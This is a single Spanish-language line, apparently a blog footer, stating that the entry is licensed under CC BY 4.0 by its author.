Esta entrada está licenciada bajo CC BY 4.0 por el autor.